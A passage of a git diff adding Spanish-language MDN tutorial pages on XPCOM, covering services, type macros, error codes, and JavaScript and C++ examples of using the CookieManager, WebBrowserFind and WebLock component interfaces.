+<p>Todas las interfaces públicas en XPCOM sin definidas usando la sintaxis XPIDL. Las Bibliotecas de tipos y los archivos de cabecera de C++ son generados a partir de estos archivos IDL y la herramienta que genera esos archivos se llama <em>compilador xpidl</em>. La sección <a href="/es/Creaci%C3%B3n_de_Componentes_XPCOM/Iniciando_WebLock#Definici.C3.B3n_de_la_Interfaz_WebLock_en_XPIDL" title="es/Creación_de_Componentes_XPCOM/Iniciando_WebLock#Definici.C3.B3n_de_la_Interfaz_WebLock_en_XPIDL">Definición de la Interfaz WebLock en XPIDL</a> describe la sintaxis XPIDL a detalle.</p>
+<h3 id="Servicios_de_XPCOM">Servicios de XPCOM</h3>
+<p>Cuando los clientes usan los componentes, normalmente <em>instancían</em> un nuevo objeto cada vez que necesitan la funcionalidad que da un componente. Este es el caso cuando, por ejemplo, los clientes lidian con archivos: cada archivo distinto es representado por un objeto diferente y muchos objetos de archivo pueden ser usados al mismo tiempo en cualquier momento.</p>
+<p>Pero también hay un tipo de objeto conocido como <em>servicio</em>, del cual siempre hay sólo una copia (aunque puede haber varios servicios corriendo al mismo tiempo). Cada vez que un cliente quiere accesar la funcionalidad de un servicio, se comunican con la misma instancia de ese servicio. Cuando un usuario busca un número telefónico en la base de datos de una compañía , por ejemplo, probablemente esa base de datos está representada por un "objeto" que es el mismo para todos los trabajadores. Si no lo fuera, la aplicación necesitaría varias copias de una gran base de datos en memoria, para una misma cosa y tal vez habría inconsistencias entre los datos grabados porque las copias serían diferentes.</p>
+<p>Dar este único punto de acceso a la funcionalidad es para lo que está el patrón de diseño singleton y es lo que los servicios hacen en una aplicación (y en un ambiente de desarrollo como XPCOM).</p>
+<p>En XPCOM, además del soporte y gestión de componentes, hay un número de servicios que ayudan al desarrollador a escribir componentes multiplataforma. Estos servicios incluyen una abstracción de archivos multiplataforma que da un acceso a archivos uniforme y potente, los servicios de directorio que mantienen la locación de la aplicación y locaciones específicas del sistema, manejo de memoria para asegurar que todos usen el mismo localizador de memoria y el sistema de notificación de eventos que permite el paso de mensajes simples. El tutorial mostrará cada uno de estos componentes y servicios en uso, y la <a href="/es/XPCOM_API_Reference" title="es/XPCOM_API_Reference">XPCOM API Reference</a> tiene una lista completa de las interfaces en éstas áreas.</p>
+<h3 id="Tipos_de_XPCOM">Tipos de XPCOM</h3>
+<p>Hay muchos tipos XPCOM declarados y macros simples que usaremos en los siguientes ejemplos, la mayoría de esos tipos son simples correlaciones. Los tipos más comunes son descritos en las siguientes secciones.</p>
+<h4 id="Tipos_de_Métodos">Tipos de Métodos</h4>
+<p>Los siguientes son un conjunto de tipos para asegurar la convención correcta de llamadas y tipos regresados de los métodos XPCOM.</p>
+<table class="standard-table"> <tbody> <tr> <td><code>NS_IMETHOD</code></td> <td>Tipo regresado en la declaración del método. Las declaraciones de métodos XPCOM deben usar este como su tipo de regreso.</td> </tr> <tr> <td><code>NS_IMETHODIMP</code></td> <td>Tipo de regreso de implementación del método. Las implementaciones de métodos XPCOM deben usar este como su tipo de regreso.</td> </tr> <tr> <td><code>NS_IMETHODIMP_(tipo)</code></td> <td>Tipo de regreso de implementaciones de casos especiales. Algunos métodos como <code>AddRef</code> y <code>Release</code> no regresan el tipo por defecto. Esta excepción es regrettable, pero requerida para cumplir la compatibilidad con COM.</td> </tr> <tr> <td><code>NS_IMPORT</code></td> <td>Forza el método a ser resuelto internamente por la biblioteca compartida.</td> </tr> <tr> <td><code>NS_EXPORT</code></td> <td>Forza el método a ser exportado por la biblioteca compartida.</td> </tr> </tbody>
+</table>
+<h4 id="Cuenta_de_Referencias">Cuenta de Referencias</h4>
+<p>Estas Macros manejan la cuenta de referencias.</p>
+<table class="standard-table"> <tbody> <tr> <td><code>NS_ADDREF</code></td> <td>Llama a <code>AddRef</code> en un objeto <code>nsISupports</code>.</td> </tr> <tr> <td><code>NS_IF_ADDREF</code></td> <td>Lo mismo que el anterior pero valida null antes de llamar a <code>AddRef</code>.</td> </tr> <tr> <td><code>NS_RELEASE</code></td> <td>Llama a <code>Release</code> en un objeto <code>nsISupports</code>.</td> </tr> <tr> <td><code>NS_IF_RELEASE</code></td> <td>Lo mismo que el anterior pero valida null antes de llamar a <code>Release</code>.</td> </tr> </tbody>
+</table>
+<h3 id="Códigos_de_Estatus">Códigos de Estatus</h3>
+<p>Estas macros prueban códigos de estatus.</p>
+<table class="standard-table"> <tbody> <tr> <td><code>NS_FAILED</code></td> <td>Regresa verdadero si el código de estatus pasado fue fallo.</td> </tr> <tr> <td><code>NS_SUCCEEDED</code></td> <td>Regresa verdadero si el código de estatus pasado fue éxito.</td> </tr> </tbody>
+</table>
+<h3 id="Correlaciones_Variables">Correlaciones Variables</h3>
+<table class="standard-table"> <tbody> <tr> <td><code>nsrefcnt</code></td> <td>Tipo de cuenta de referencias por defecto. Correlaciona un entero de 32-bits.</td> </tr> <tr> <td><code>nsresult</code></td> <td>Tipo de error por defecto. Correlaciona un entero de 32-bits.</td> </tr> <tr> <td><code>nsnull</code></td> <td>Valor nulo por defecto.</td> </tr> </tbody>
+</table>
+<h3 id="Códigos_de_Error_Comunes_de_XPCOM">Códigos de Error Comunes de XPCOM</h3>
+<table class="standard-table"> <tbody> <tr> <td><code>NS_ERROR_NOT_INITIALIZED</code></td> <td>Regresado cuando una instancia no está inicializada.</td> </tr> <tr> <td><code>NS_ERROR_ALREADY_INITIALIZED</code></td> <td>Regresado cuando una instancia ya fue inicializada.</td> </tr> <tr> <td><code>NS_ERROR_NOT_IMPLEMENTED</code></td> <td>Regresado por un método no implementado.</td> </tr> <tr> <td><code>NS_ERROR_NO_INTERFACE</code></td> <td>Regresado cuando una interfaz dada no es soportada.</td> </tr> <tr> <td><code>NS_ERROR_NULL_POINTER</code></td> <td>Regresado cuando un puntero válido es <code>nsnull</code>.</td> </tr> <tr> <td><code>NS_ERROR_FAILURE</code></td> <td>Regresado cuando un método falla. Caso de error genérico.</td> </tr> <tr> <td><code>NS_ERROR_UNEXPECTED</code></td> <td>Regresado cuando ocurre un error inesperado.</td> </tr> <tr> <td><code>NS_ERROR_OUT_OF_MEMORY</code></td> <td>Regresado cuando una localización de memoria falla.</td> </tr> <tr> <td><code>NS_ERROR_FACTORY_NOT_REGISTERED</code></td> <td>Regresado cuando una clase requerida no está registrada.</td> </tr> </tbody>
+</table>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Creación_de_Componentes_XPCOM:Prefacio" style="float: left;">« Anterior</a><a href="/es/docs/Creación_de_Componentes_XPCOM:Uso_de_Componentes_XPCOM">Siguiente  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/es/creación_de_componentes_xpcom/uso_de_componentes_xpcom/index.html b/files/es/creación_de_componentes_xpcom/uso_de_componentes_xpcom/index.html
new file mode 100644
index 0000000000..b250d637c1
--- /dev/null
+++ b/files/es/creación_de_componentes_xpcom/uso_de_componentes_xpcom/index.html
@@ -0,0 +1,318 @@
+---
+title: Uso de Componentes XPCOM
+slug: Creación_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM
+tags:
+  - Todas_las_Categorías
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Guide/Creating_components/Using_XPCOM_Components
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Creación_de_Componentes_XPCOM:Un_Vistazo_de_XPCOM" style="float: left;">« Anterior</a><a href="/es/docs/Creación_de_Componentes_XPCOM:Interior_del_Componente">Siguiente  »</a></p>
+</div><p></p>
+
+<p>Una de las mejores formas de empezar a trabajar con XPCOM - especialmente cuando estás diseñando la interfaz de un componente que será usado por otros, como lo hacemos en <a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/Iniciando_WebLock">Iniciando WebLock</a> - es observar como están usando los componentes XPCOM los clientes.</p>
+
+<p>Aplicaciones como el buscador Mozilla son clientes sofísticados y modularizados de Componentes XPCOM. De hecho, virtualmente toda la funcionalidad que asocias al buscador - navegación, manejo de ventanas, manejo de cookies, marcadores, seguridad, búsqueda, renderizado y otros aspectos - es definida en componentes XPCOM uy accesada por medio de las interfaces de esos componentes. Mozilla está<em>hecho</em> de componentes XPCOM.</p>
+
+<p>Este capítulo demuestra como Mozilla usa algunos de esos objetos XPCOM, como el CookieManager y muestra como se definirá el acceso al componente Weblock.</p>
+
+<h3 id="Ejemplos_de_Componentes" name="Ejemplos_de_Componentes">Ejemplos de Componentes</h3>
+
+<p>Puedes encontrar más sobre como puedes usar en particular los componentes descritos aquí en la <a href="es/XPCOM_API_Reference">XPCOM API Reference</a>. Por ahora, lo importante es ver como componentes como los que están en esta sección son obtenidos usando el buscador Mozilla.</p>
+
+<h4 id="Manejador_de_Cookies" name="Manejador_de_Cookies">Manejador de Cookies</h4>
+
+<p>La gestión de Cookies es uno de los muchos conjuntos de funcionalidad que están disponibles en el buscador en la forma de componente XPCOM y puede ser reutilizado por los desarrolladores que quieran una funcionalidad similar en sus aplicaciones. Siempre que un usuario accesa el Cookie Manager para ver, organizar o borrar cookies que han sido guardadas en el sistema, están usando el componente CookieManager detrás de las pantallas. <a href="#El_Diálogo_Cookie_Manager">El Diálogo Cookie Manager</a> muestra la interfaz de usuario <sup><a href="https://developer.mozilla.org/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#endnote_cookie-manager-ui">[cookie-manager-ui]</a></sup> que se presenta al usuario en Mozilla para trabajar con el componente CookieManager.</p>
+
+<p><span id="El_Di%C3%A1logo_Cookie_Manager"><a id="El_Di%C3%A1logo_Cookie_Manager"></a><strong>El Diálogo Cookie Manager</strong></span></p>
+
+<p><img alt="Image:cookie_mgr_dlog.png"></p>
+
+<p>Este Diálogo está escrito en <abbr title="XML UI Language">XUL</abbr> y JavaScript, usa una parte de XPCOM llamada<em>XPConnect</em> para conectarse sin parches al componente CookieManager (Ve <a href="#Conexión_a_Componentes_desde_la_interfaz">Conexión a Componentes desde la interfaz</a> abajo). XUL es sólo una forma de mostrar la funcionalidad del componente CookieManager, pero es particularmente útil en el mundo de Mozilla.</p>
+
+<p>La funcionalidad del componente CookieManager está disponeble atravéz de la interfaz <code>nsICookieManager</code>, que es comprendido dentro de los métodos públicos en la tabla de abajo.</p>
+
+<p><span id="La_Interfaz_nsICookieManager"><a id="La_Interfaz_nsICookieManager"></a><strong>La Interfaz nsICookieManager</strong></span></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>removeAll</code></td>
+   <td>Elimina todas las cookies de la lista de cookies.</td>
+  </tr>
+  <tr>
+   <td><code>enumerator</code></td>
+   <td>Enumera la lista de cookies.</td>
+  </tr>
+  <tr>
+   <td><code>remove</code></td>
+   <td>Elimina una cookie en particular de la lista.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En XPCOM se garantiza que la interfaz permanece igual aún cuando la implementación debajo de ella cambie. Las interfaces son<em>públicas</em> en otras palabras y las implementaciones son privadas<sup><a href="https://developer.mozilla.org/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#endnote_private-xpcom-interfaces">[private-xpcom-interfaces]</a></sup>. Cuando un usuario selecciona una de las cookies mostradas en la lista y luego presiona el botón Eliminar, el método <code>Remove</code> de la interfaz <code>nsICookieManager</code> es llamado. La función es llevada a cabo poir el componente CookieManager y la cookie seleccionada es borrada del disco y eliminada de la lista.</p>
+
+<p>El trozo de código en <a href="#Obtener_el_Componente_CookieManager_en_JavaScript">Obtener el Componente CookieManager en JavaScript</a> muestra como el método <code>Remove()</code> del componente XPCOM CookieManager puede ser llamado desde JavaScript:</p>
+
+<p><span id="Obtener_el_Componente_CookieManager_en_JavaScript"><a id="Obtener_el_Componente_CookieManager_en_JavaScript"></a><strong>Obtener el Componente CookieManager en JavaScript</strong></span></p>
+
+<pre>// xpconnect al cookiemanager
+// obtener el componente cookie manager en JavaScript
+var cmgr = Components.classes["@mozilla.org/cookiemanager;1"]
+                     .getService();
+cmgr = cmgr.QueryInterface(Components.interfaces.nsICookieManager);
+
+// llamado como parte de la función largerDeleteAllCookies()
+function FinalizeCookieDeletions() {
+  for (var c=0; c&lt;deletedCookies.length; c++) {
+    cmgr.remove(deletedCookies[c].host,
+                deletedCookies[c].name,
+                deletedCookies[c].path);
+  }
+  deletedCookies.length = 0;
+}
+</pre>
+
+<div class="side-note">
+<p><span id="Conexi%C3%B3n_a_Componentes_desde_la_Interfaz"><a id="Conexi%C3%B3n_a_Componentes_desde_la_Interfaz"></a><strong>Conexión a Componentes desde la Interfaz</strong></span></p>
+
+<p>La interfaz de usuario de Mozilla usa un JavaScript al que se le ha dado acceso a los componentes XPCOM en el código de la aplicación con una tecnología llamada<em>XPConnect</em>.</p>
+
+<p>XPConnect permite a los métodos de la interfaz definidos via XPIDL ser llamados desde JavaScript como parte de los objetos JavaScript que representan instancias de componentes como el CookieManager.</p>
+
+<p>XPConnect es lo que enlaza el código de la aplicación a la interfaz de usuario del buscador Mozilla, a otros ambientes basados en Gecko XUL y JavaScript como xpcshell, que es un intérprete JavaScript de línea de comandos y una herramienta incluida en Mozilla.</p>
+
+<p>Ve <a class="external" href="http://www.mozilla.org/scriptable/" rel="freelink">http://www.mozilla.org/scriptable/</a> para más información sobre XPConnect y JavaScript.</p>
+</div>
+
+<p>Esto no es todo los que hay acerca del tema, desde luego, pero muestra un aspecto importante de XPCOM. Los arreglos contractuales que XPCOM forza abren una forma de<em>interoperabilidad binaria</em> -para poder accesar, usar y reutilizar componentes XPCOM en tiempo de ejecución. Y ellos hacen posible usar componentes escritos en otros lenguajes - como JavaScript, Python y otros - y usar componentes XPCOM basados en C++<em>desde</em> esos otros lenguajes también.</p>
+
+<p>En el buscador Mozilla, los componentes son usados desde JavaScript en la interfaz como en C++ o cualquier otro lenguaje. De hecho, una búsqueda en el código fuente de Mozilla revela que este componente CookieManager es llamado<em>sólo</em> desde JavaScript. Usaremos este componente desde JavaScript nosotros mismos como parte de este tutorial<sup><a href="https://developer.mozilla.org/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#endnote_cookie-manager-in-tutorial">[cookie-manager-in-tutorial]</a></sup>.</p>
+
+<div class="side-note">
+<p><span id="JavaScript_y_Mozilla"><a id="JavaScript_y_Mozilla"></a><strong>JavaScript y Mozilla</strong></span></p>
+
+<p>JavaScript es la<em>lingua franca</em> de la interfaz del buscador Mozilla y las etiquetas entre él y XPCOM están muy bien definidos.<em>Scriptabilidad</em>, esta habilidad de obtener y usar componentes desde JavaScript y otros lenguajes para los que han sido creadas etiquetas XPConnect, es un aspecto del código XPCOM.</p>
+</div>
+
+<h4 id="El_Componente_WebBrowserFind" name="El_Componente_WebBrowserFind">El Componente <code>WebBrowserFind</code></h4>
+
+<p>Todos los componentes son usados en funcionalidad de alto nivel del buscador como <code>nsWebBrowserFind</code> que contiene los métodos <code>find()</code> y <code>findNext()</code> para encontrar el contenido en páginas web y tareas de bajo nivel como manipulación de información. No todas las APIs de Mozilla deben ser integradas en XPCOM, mucha de la funcionalidad está disponible en componentes que pueden ser reutilizados por las extensiones del buscador y/o embebedores de Gecko.</p>
+
+<p>Además del componente CookieManager, por ejemplo, el componente WebBrowserFind es otra parte de una larga lista de interfaces de búsqueda web que puedes usar. Su interfaz <code>nsIWebBrowserFind</code> se muestra en <a href="#La_Interfaz_nsIWebBrowserFind">La Interfaz nsIWebBrowserFind</a>. Para usar este componente, los accesas mediante la interfaz <code>nsIWebBrowserFind</code> y llamas sus métodos.</p>
+
+<p><span id="La_Interfaz_nsIWebBrowserFind"><a id="La_Interfaz_nsIWebBrowserFind"></a><strong>La Interfaz nsIWebBrowserFind</strong></span></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>findNext</code></td>
+   <td>Encuentra la siguiente ocurrencia de la cadena buscada.</td>
+  </tr>
+  <tr>
+   <td><code>findBackwards</code></td>
+   <td>Atributo booleano que ajusta <code>findNext()</code> para buscar hacia arriba del documento.</td>
+  </tr>
+  <tr>
+   <td><code>searchFrames</code></td>
+   <td>Atributo booleano que indica si se busca o no en subframes del documento actual.</td>
+  </tr>
+  <tr>
+   <td><code>matchCase</code></td>
+   <td>Atributo booleano que indica si coincide o no el caso en la búsqueda.</td>
+  </tr>
+  <tr>
+   <td><code>entireWord</code></td>
+   <td>Atributo booleano que especifica si debe coincidir toda la palabra o no.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Una vez que usas la interfaz para obtener el componente, puedes preguntarle al componente que otras interfaces soporta. Este servicio, que es definido en la interfaz básica <code>nsISupports</code> e implementado por todos los componentes XPCOM, te permite requerir y cambiar interfaces en un componente como parte de las capacidades de<em>mecanografía de objeto de tiempo de ejecución</em> de XPCOM. Es gestionada por el método <code>QueryInterface</code> que fue visto en el capítulo <a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/%c2%bfQu%c3%a9_es_XPCOM%3f">¿Qué es XPCOM?</a>. La <a href="es/XPCOM_API_Reference">XPCOM API Reference</a> es una referencia de todos los componentes disponibles en Mozilla.</p>
+
+<h4 id="El_Componente_WebLock" name="El_Componente_WebLock">El Componente WebLock</h4>
+
+<p>Es hora de ver el componente <strong>WebLock</strong> como otro ejemplo de componentes XPCOM (ya que lo estarás creando muy pronto). En la programación orientada a objetos, es común diseñar primero la interfaz para definir la funcionalidad que tendrá la abstracción sin tener en cuenta como será hecha esta funcionalidad. Así que dejaremos del lado los detalles la implementación hasta el siguiente capítulo y veremos el componente desde afuera, desde la interfaz del componente WebLock.</p>
+
+<p><span id="La_Interfaz_IWebLock"><a id="La_Interfaz_IWebLock"></a><strong>La Interfaz IWebLock</strong></span></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>lock</code></td>
+   <td>Bloquea el buscador al sitio actual(o a la lista blanca de sitios aprobados leída del disco).</td>
+  </tr>
+  <tr>
+   <td><code>unlock</code></td>
+   <td>Desbloquea el buscador para uso irrestricto.</td>
+  </tr>
+  <tr>
+   <td><code>addSite</code></td>
+   <td>Añade un nuevo sitio a la lista blanca.</td>
+  </tr>
+  <tr>
+   <td><code>removeSite</code></td>
+   <td>Elimina un sitio dado de la lista blanca.</td>
+  </tr>
+  <tr>
+   <td><code>sites</code></td>
+   <td>Enumerador para la lista de sitios aprobados leída de la lista blanca.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>El componente WebLock es un programa que implementa todos los métodos descritos en la definición de la interfaz. Se registra a sí mismo para su uso al iniciar el buscador y tiene una factoría que crea una instancia de él para ser usada cuando el usuario o el administrador presionan el icono en la interfaz gráfica del buscador.</p>
+
+<h3 id="Uso_de_Componentes_en_Mozilla" name="Uso_de_Componentes_en_Mozilla">Uso de Componentes en Mozilla</h3>
+
+<p>Entonces ¿Cómo se obtienen los componentes en Mozilla?. Has visto algunos pedazos de JavaScript en secciones anteriores de este capítulo, pero no hemos explicado como XPCOM hace los componentes disponibles en general.</p>
+
+<p>Esta sección aborda el uso práctico de componentes en Mozilla. Está dividido en tres subsecciones: una acerca de como encontrar todos esos componentes binarios en Mozilla y otras dos que corresponden a cada una de las dos formas en las que los clientes accesan normalmente los componentes XPCOM:</p>
+
+<ul>
+ <li><a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Localizar_los_Componentes_de_Mozilla">Localizar los Componentes de Mozilla</a></li>
+ <li><a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#Usar_Componentes_XPCOM_en_tu_Cpp">Usar Componentes XPCOM en tu Cpp</a></li>
+ <li><a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM#XPConnect:_Usar_Componentes_XPCOM_desde_un_Script">XPConnect: Usar Componentes XPCOM desde un Script</a></li>
+</ul>
+
+<h4 id="Localizar_los_Componentes_de_Mozilla" name="Localizar_los_Componentes_de_Mozilla">Localizar los Componentes de Mozilla</h4>
+
+<p>Este libro trata de dar información de referencia para los componentes XPCOM y sus interfaces que están congeladas al momento de hacer este escrito. El <a class="external" href="http://www.mozilla.org/projects/embedding/">Mozilla embedding project</a> alberga las interfaces congeladas actuales.</p>
+
+<p>Mozilla también tiene algunas herramientas que pueden encontrar y desplegar información de las interfaces disponibles en Gecko como el<em>Visor de Componentes XPCOM</em> descrito abajo, y <a class="external" href="http://lxr.mozilla.org/">LXR</a>, que es una herramienta basada en web para ver el código fuente.</p>
+
+<p>El reto de hacer disponible buena información acerca de los componentes XPCOM para los posibles clientes, el proceso de congelar las interfaces que son implementadas por esos componentes aún está en progreso. El Visor de Componentes no distingue los componentes que ya están congelados de los que no. En el código fuente que ves en LXR, las interfaces que han sido congeladas han sido marcadas hasta arriba con <code>@status frozen</code>.</p>
+
+<h5 id="El_Visor_de_Componentes_XPCOM" name="El_Visor_de_Componentes_XPCOM">El Visor de Componentes XPCOM</h5>
+
+<p>El <a class="external" href="http://addons.mozilla.org/firefox/2230/">Visor de Componentes</a> es una extensión que puedes instalar en tu buscador (en sandbox, no está disponible por ahora):</p>
+
+<p><span id="Visor_de_Componentes_XPCOM"><a id="Visor_de_Componentes_XPCOM"></a><strong>Visor de Componentes XPCOM</strong></span> <img alt="Image:using-component-viewer.png"></p>
+
+<p>La columna de la izquierda muestra los componentes, en este caso un subconjunto resultado de la búsqueda de "gfx" como parte del contract ID y en la columna de la derecha una lista de las interfaces. Cuando abres un componente en la izquierda, puedes ver las interfaces que implementa y una lista con los métodos que tiene cada interfaz.</p>
+
+<p>El Visor de Componentes XPCOM puede ser extremadamente útil para esta fuente de grandes interrogantes, pero otra vez: despliega<em>todos</em> los componentes e interfaces contenidas dentro, muchas de las cuales no son prácticas para reutilizarse actualmente o lo suficientemente estables para ser usados viablemente en el desarrollo de tu propia aplicación. Usa estas listas con precaución.</p>
+
+<p><span class="comment">XXX mediawiki is t3h suxx0r</span> <span class="comment">XXX give me my C++</span></p>
+
+<h4 id="Usar_Componentes_XPCOM_en_tu_Cpp" name="Usar_Componentes_XPCOM_en_tu_Cpp">Usar Componentes XPCOM en tu Cpp</h4>
+
+<p>XPConnect hace fácil accesar los componentes XPCOM como objetos JavaScript, pero usar componentes XPCOM en C++ no es mucho más difícil.</p>
+
+<p><a href="#Gestionar_Cookies_desde_Cpp">Gestionar Cookies desde Cpp</a> duplica el código de <a href="#Obtener_el_Componente_CookieManager_en_JavaScript">Obtener el Componente CookieManager en JavaScript</a>, pero en C++ en vez de JavaScript.</p>
+
+<p> </p>
+
+<p><span id="Gestionar_Cookies_desde_Cpp"><a id="Gestionar_Cookies_desde_Cpp"></a><strong>Gestionar Cookies desde Cpp</strong></span></p>
+
+<pre>nsCOMPtr&lt;nsIServiceManager&gt; servMan;
+nsresult rv = NS_GetServiceManager(getter_AddRefs(servMan));
+if (NS_FAILED(rv))
+  return -1;
+
+nsCOMPtr&lt;nsICookieManager&gt; cookieManager;
+rv = servMan-&gt;GetServiceByContractID("@mozilla.org/cookiemanager",
+                                     NS_GET_IID(nsICookieManager),
+                                     getter_AddRefs(cookieManager));
+
+if (NS_FAILED(rv))
+  return -1;
+
+PRUint32 len;
+deletedCookies-&gt;GetLength(&amp;len);
+
+for (int c=0; c&lt;len; c++)
+    cookieManager-&gt;Remove(deletedCookies[c].host,
+                          deletedCookies[c].name,
+                          deletedCookies[c].path,
+                          PR_FALSE);
+</pre>
+
+<p><span class="comment">XXX: In the original document, there were only the first three parameters to the |Remove| call. I added |PR_FALSE| as a fourth parameter because the interface seems to require it: <a class="external" href="http://lxr.mozilla.org/mozilla/source/netwerk/cookie/public/nsICookieManager.idl#64" rel="freelink">http://lxr.mozilla.org/mozilla/sourc...Manager.idl#64</a> This problem also appears in the JavaScript version below, and I've added |false| as a fourth parameter there as well.</span></p>
+
+<p>Si tu aplicación está escrita en C++, entonces <a href="#Gestionar_Cookies_desde_Cpp">Gestionar Cookies desde Cpp</a> te muestra los pasos que debes seguir para obtener un componente XPCOM, especifica la interfaz en el componente que quieres usar y llama los métodos en esa interfaz.</p>
+
+<h4 id="XPConnect:_Usar_Componentes_XPCOM_desde_un_Script" name="XPConnect:_Usar_Componentes_XPCOM_desde_un_Script">XPConnect: Usar Componentes XPCOM desde un Script</h4>
+
+<p>El componente CookieManager que discutimos al principio del capítulo nos da una buena oportunidad para hablar después acerca de usar componentes desde JavaScript. En el siguiente fragmento de código del diálogo Gestor de Cookies en Mozilla, puedes ver un singletón del componente CookieManager siendo creado con el método <code>getService()</code> y usado para dar la funcionalidad que deja a los usuarios cargar y eliminar cookies desde la interfaz de usuario.</p>
+
+<p><span id="Gestionar_Cookies_desde_JavaScript"><a id="Gestionar_Cookies_desde_JavaScript"></a><strong>Gestionar Cookies desde JavaScript</strong></span></p>
+
+<pre>var cmgr = Components.classes["@mozilla.org/cookiemanager;1"]
+                     .getService();
+cmgr = cmgr.QueryInterface(Components.interfaces.nsICookieManager);
+
+function loadCookies() {
+  // load cookies into a table
+  var enumerator = cmgr.enumerator;
+  var count = 0;
+  var showPolicyField = false;
+  while (enumerator.hasMoreElements()) {
+    var nextCookie = enumerator.getNext();
+    nextCookie = nextCookie.QueryInterface(Components.interfaces.nsICookie);
+    /* .... */
+}
+function FinalizeCookieDeletions() {
+  for (var c=0; c&lt;deletedCookies.length; c++) {
+    cmgr.remove(deletedCookies[c].host,
+                deletedCookies[c].name,
+                deletedCookies[c].path,
+                false);
+  }
+  deletedCookies.length = 0;
+}
+</pre>
+
+<p><span class="comment">XXX: In the original document, there were only the first three parameters to the |remove| call. I added |false| as a fourth parameter because the interface seems to require it: <a class="external" href="http://lxr.mozilla.org/mozilla/source/netwerk/cookie/public/nsICookieManager.idl#64" rel="freelink">http://lxr.mozilla.org/mozilla/sourc...Manager.idl#64</a> This problem also appears in the C++ version above, and I've added |PR_FALSE| as a fourth parameter there as well.</span></p>
+
+<p>Después los métodos estan siendo llamados en el mismo CookieManager (ejm; <code>cookiemanager.remove</code>, que apunta a la función <code>remove()</code> en <a href="#La_Interfaz_nsICookieManager">La Interfaz nsICookieManager</a>), nota los objetos y métodos especiales XPConnect que reflejan el componente XPCOM en JavaScript.</p>
+
+<p><code>Components</code> es el objeto JavaScript que controla la conexión a componentes y <code>classes</code> es un array de todas las clases por las que puedes preguntar mediante el contract ID. Para instanciar un componente XPCOM en JavaScript, creas un nuevo objeto del componente y pasas el contract ID para el componente que quieres y preguntas si será un singleton o una instancia del componente el resultado regresado:</p>
+
+<pre>var cmgr = Components.classes["@mozilla.org/cookiemanager;1"]
+                     .getService();
+</pre>
+
+<p>El objeto resultante <code>cookiemanager</code> nos da acceso a todos los métodos de ese componente que sido definidos en IDL y compilados en una biblioteca de tipos. Usando el componente CookieManager puedes escribir código como este para borrar todas las cookies del sistema:</p>
+
+<pre>cmgr = Components.classes["@mozilla.org/cookiemanager;1"]
+                 .getService();
+cmgr = cmgr.QueryInterface(Components.interfaces.nsICookieManager);
+
+// delete all cookies
+function trashEm() {
+   cmgr.removeAll();
+}
+</pre>
+
+<p>Otro aspecto vital del pegamento de XPConnect que muestra este ejemplo es la disponibilidad del método <code>QueryInterface</code> en todos los objetos que son reflejados en JavaScript desde XPCOM. Como en C++, puedes usar este método para preguntar por otras interfaces que esten disponibles en el objeto dado.</p>
+
+<div class="side-note">
+<p><span id="Servicios_Frente_a_Instancias_Regulares"><a id="Servicios_Frente_a_Instancias_Regulares"></a><strong>Servicios Frente a Instancias Regulares</strong></span></p>
+
+<p>Si los clientes usarán tu componente como una instancia o un servicio es una pregunta de diseño, realmente y algo debes ser claro acerca ello en la documentación de tu componente. Ahora, el método <code>getService()</code> en este ejemplo llama mediante el método <code>createInstance()</code> que también está disponible para el objeto del Componente y cacha el resultado, haciéndolo un singleton en vez de una instancia normal.</p>
+
+<p>El patrón de diseño singleton que es usado para crear servicios es descrito en <a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/Qu%c3%a9_es_XPCOM%3f#Servicios_de_XPCOM">Servicios de XPCOM</a></p>
+</div>
+
+<p>Recuerda, <code>QueryInterface</code> te permite requerir a un objeto las interfaces que soporta. En el caso del trozo en <a href="#La_Interfaz_nsICookieManager">La Interfaz nsICookieManager</a>, el método <code>QueryInterface</code> es usado para obtener la interfaz <code>nsICookie</code> del enumerador, así que, para instanciar, el código JavaScript puede accesar los atributos <code>value</code> y <code>name</code> para cada cookie.</p>
+
+<ol>
+ <li><div class="blockIndicator note"><strong>Nota:</strong> cookie-manager-ui</div> Nota que la interfaz no es parte del componente en sí mismo. XPCOM hace fácil usar componentes como CookieManager desde Mozilla's Cross Platform Front End (XPFE) y otras interfaces de usuario, pero el componente no tiene por sí mismo una IU(Interfaz de Usuario).</li>
+</ol>
+
+<ol>
+ <li><div class="blockIndicator note"><strong>Nota:</strong> private-xpcom-interfaces</div> Hay excepciones a esto. Algunas interfaces XPCOM también son privadas y no estan hechas para uso general. Las interfaces privadas no tienen los mismos requerimientos que las que son hechas públicas en IDL.</li>
+ <li><div class="blockIndicator note"><strong>Nota:</strong> cookie-manager-in-tutorial</div> El componente CookieManager es usado para proveer para la funcionalidad de bloqueo web descrita en este tutorial.</li>
+</ol>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Creating_XPCOM_Components:An_Overview_of_XPCOM" style="float: left;">« Anterior</a><a href="/es/docs/Creating_XPCOM_Components:Component_Internals">Siguiente  »</a></p>
+</div> <p></p><div class="licenseblock">
